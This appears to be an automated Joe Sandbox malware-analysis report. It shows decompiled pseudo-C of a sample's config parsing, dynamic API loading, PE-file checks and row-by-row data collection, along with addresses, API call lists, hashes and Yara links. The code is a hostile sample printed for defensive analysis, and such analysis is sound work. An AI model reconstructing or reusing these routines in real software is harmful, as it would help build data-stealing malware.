				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0058BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jXA, xrefs: 0058C09C, 0058C09F
4jXA, xrefs: 0058BF6C, 0058C0C0, 0058BF6F, 0058C0C3

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID:
String ID: 4jXA$4jXA
API String ID: 0-2100316548
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: 9d8f0ec845ac4b02b8a5a8ee0b093f69ce5de9d71842312e0c7e8a52ea97e435
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 4951DBB5A11208EFDB04EBE4DC48FEE7BB9BF4C740F148918F605E6290DA349951CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00591970, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0059197E
GetFileSize.KERNEL32(00000000,00000000), ref: 00591A41
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00591A5E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00591A74
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00591A84
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00591A9A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00591AC3

Strings

(, xrefs: 00591A4A
PE, xrefs: 00591AFA

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: 9f3aa10836efa7c06a301333fd143177813a992e45a68ba2ed2db0140c581e7c
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 1D813CB1D10619AFDF04CFD8D895BEEBBB6FF88301F148459E505AB284D7349A81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 005872B0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(8wa,?,0058A971,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005872B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005872DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005872F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0058730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00587328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00587340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00587358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00587371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00587389

Strings

8wa, xrefs: 005872B3, 005872B8

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8wa
API String ID: 2238633743-2415055813
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 6adabc56012f21fabe382da3196a16998d1f988a11a40631bdac7d4012663312
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 06211EB56272009FC344EBB8ED889B637E9B74C315711C939E505C3261D6359462CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x617738
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x618800
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x618da8
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x618710
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x618d48
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x618c48
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x618740
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x618b88
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x618b48
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(00617738,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,00618800), ref: 0040708F
GetProcAddress.KERNEL32(00000000,00618DA8), ref: 004070A7
GetProcAddress.KERNEL32(00000000,00618710), ref: 004070BF
GetProcAddress.KERNEL32(00000000,00618D48), ref: 004070D8
GetProcAddress.KERNEL32(00000000,00618C48), ref: 004070F0
GetProcAddress.KERNEL32(00000000,00618740), ref: 00407108
GetProcAddress.KERNEL32(00000000,00618B88), ref: 00407121
GetProcAddress.KERNEL32(00000000,00618B48), ref: 00407139

Strings

8wa, xrefs: 00407063

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8wa
API String ID: 2238633743-2415055813
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0058A950, Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 489memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0058A95A
RtlAllocateHeap.NTDLL(00000000,?,005869FC), ref: 0058A961

Part of subcall function 005872B0: LoadLibraryA.KERNEL32(8wa,?,0058A971,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005872B9
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005872DF
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005872F7
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0058730F
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00587328
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00587340
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00587358
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00587371
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00587389

Part of subcall function 0058A640: lstrcat.KERNEL32(?,00000000), ref: 0058A684
Part of subcall function 0058A640: lstrcat.KERNEL32(?,?), ref: 0058A6A9
Part of subcall function 0058A640: lstrcat.KERNEL32(?,0041A74C), ref: 0058A6BD

Part of subcall function 0058A760: lstrcat.KERNEL32(?,00000000), ref: 0058A7A4
Part of subcall function 0058A760: lstrcat.KERNEL32(?,?), ref: 0058A7C9
Part of subcall function 0058A760: lstrcat.KERNEL32(?,0041A74C), ref: 0058A7DD

Part of subcall function 0058A870: lstrcat.KERNEL32(?,0041ABAC), ref: 0058A8B7
Part of subcall function 0058A870: lstrcat.KERNEL32(?,?), ref: 0058A8CB
Part of subcall function 0058A870: lstrcat.KERNEL32(?,0041A210), ref: 0058A8DF

lstrlen.KERNEL32(0041A838), ref: 0058AE66

Part of subcall function 005873A0: FreeLibrary.KERNEL32(0041A82C,?,0058AE98,0041A838,00000004), ref: 005873A9

Part of subcall function 005873C0: FreeLibrary.KERNEL32(0041A824,?,0058AE9D,0041A838,00000004), ref: 005873C9

Strings

pva, xrefs: 0058ABA6, 0058ABAC
Hfa, xrefs: 0058ACD6, 0058ACDC
Xua, xrefs: 0058AB80, 0058AB86
Pxa, xrefs: 0058ACB0, 0058ACB6
P)a, xrefs: 0058ADE0, 0058ADE6
Xea, xrefs: 0058AD48, 0058AD4E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeap$AllocateLoadProcesslstrlen
String ID: Hfa$P)a$Pxa$Xea$Xua$pva
API String ID: 3556552367-2832139168
Opcode ID: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction ID: 8ccf14ed1b8bf000445c2d78848e4ae7829cc4de8ea61b1c2a65fffdf837eb6a
Opcode Fuzzy Hash: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction Fuzzy Hash: 9502B7B6605109BBC744EF98EC85DAB37BDBB8C700B04C11CBA1DD7255D634E921CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00435C69, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7
_write_multi_char.LIBCMTD ref: 00435FEE
_write_string.LIBCMTD ref: 00436009
_write_multi_char.LIBCMTD ref: 00436035
_wctomb_s.LIBCMTD ref: 004360B2

Strings

-, xrefs: 00435F8E
9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction ID: 0268277e92a6445af9ecf5d8f741979361fdf704224b586dd6f9969a9cfd3b03
Opcode Fuzzy Hash: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction Fuzzy Hash: 87F137B1D056299FDB24CF58CC89BEEB7B1BB48304F1491DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005888A0, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005888CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058891F
RtlAllocateHeap.NTDLL(00000000), ref: 00588926
lstrcat.KERNEL32(?,?), ref: 00588989
lstrcat.KERNEL32(?,00418BC4), ref: 0058899B
lstrcat.KERNEL32(?,?), ref: 005889AF
lstrcat.KERNEL32(?,00418BC0), ref: 005889C1
lstrlen.KERNEL32(?), ref: 005889D3

Strings

p(a, xrefs: 005888FC, 00588902

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: p(a
API String ID: 3196222039-3428339238
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 022e3d631e10991174480d322ad920e47e3141c4bbf423e0f74e0c92e1c72fbc
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: FD4153B1900108ABCB14EBA4DD4AFEA77B8BF48705F008594F70997151DA35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005883A0, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005883CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00588425
RtlAllocateHeap.NTDLL(00000000), ref: 0058842C
lstrcat.KERNEL32(?,?), ref: 0058848F
lstrcat.KERNEL32(?,004191EC), ref: 005884A1
lstrcat.KERNEL32(?,?), ref: 005884B5
lstrcat.KERNEL32(?,00418BC4), ref: 005884C7
lstrlen.KERNEL32(?), ref: 005884D9

Strings

8ga, xrefs: 005883FF, 00588405

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: 8ga
API String ID: 3196222039-3308306836
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: b5ea9101ec2be6d396ab7ec6629130e7ca044a3c4818a217a2bf3d67c3292933
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: CF4196B1900118ABCB14EBA4DD4AFEA77B8BF48700F008594F70997151DA759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x618be8
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x612870
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
